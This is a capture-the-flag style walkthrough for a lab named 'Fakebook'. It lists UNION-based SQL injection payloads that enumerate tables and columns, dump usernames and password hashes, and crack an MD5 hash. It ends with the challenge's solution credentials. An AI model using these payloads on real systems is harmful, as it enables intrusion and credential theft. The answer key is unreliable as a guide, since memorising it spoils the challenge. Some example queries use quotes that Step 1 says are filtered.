Fakebook SQL Injection Walkthrough

Step 1: Test for Input Type

Use the following payload:

```
1 OR 1=1--
```

This tells us that the input type is an integer. Observation: Quotes (') are filtered.

Additional Example

To further confirm the input type, you can use the following payload:

```
1 AND 1=1--
```

This payload should also return a valid result, indicating that the input type is indeed an integer.

Step 2: Check the Number of Output Columns

Use the following query:

```
1 UNION SELECT null FROM INFORMATION_SCHEMA.tables;-- -
```

Result: There is only one output column.

Additional Example

To verify the number of output columns, you can use the following query:

```
1 UNION SELECT null, null FROM INFORMATION_SCHEMA.tables;-- -
```

If this query returns an error, it confirms that there is only one output column.

Step 3: Find the Table Name

Use the following query:

```
1 UNION SELECT table_name FROM INFORMATION_SCHEMA.tables;-- -
```

Result: Two relevant tables are identified: FAKEBOOK, USERS

Additional Example

To list all table names, you can use the following query:

```
1 UNION SELECT table_name FROM INFORMATION_SCHEMA.tables WHERE table_schema='public';-- -
```

This query retrieves all table names in the public schema.

Step 4: Retrieve Column Names of Relevant Tables

Use the following query:

```
1 UNION SELECT CONCAT(table_name, CHAR(44), column_name) FROM INFORMATION_SCHEMA.columns;--
```

Explanation:

Since there is only one output column, we must concatenate the string to show both the table name and its columns. CHAR(44) is the ASCII code for a comma (,), allowing better visual separation between table names and column names.

Observations:

The FAKEBOOK table contains: username, password The USERS table does not have relevant columns.

Additional Example

To retrieve column names for a specific table, you can use the following query:

```
1 UNION SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='FAKEBOOK';-- -
```

This query retrieves all column names for the FAKEBOOK table.

Step 5: Retrieve All Usernames and Passwords

Use the following query:

```
1 UNION SELECT CONCAT(username, CHAR(44), password) FROM fakebook;-- -
```

Result: Retrieves a list of usernames and their hashed passwords from the FAKEBOOK table.

Additional Example

To retrieve usernames and passwords separately, you can use the following queries:

```
1 UNION SELECT username FROM fakebook;-- -
1 UNION SELECT password FROM fakebook;-- -
```

These queries retrieve usernames and passwords separately from the FAKEBOOK table.

Step 6: Decode the Password

The retrieved passwords are hashed. Use a hash decoder to decrypt the password. Decoded Password: adawong

Additional Example

To decode the password using an online hash decoder, you can use websites like:
- MD5 Hash Decoder - Hash Toolkit

Step 7: Login

Use the extracted username and the decoded password to log in.

Solution

Username: LeonSKennedy Password: adawong MD5 Hashed Password: 662c8305f6ee26939b4dad53406e6228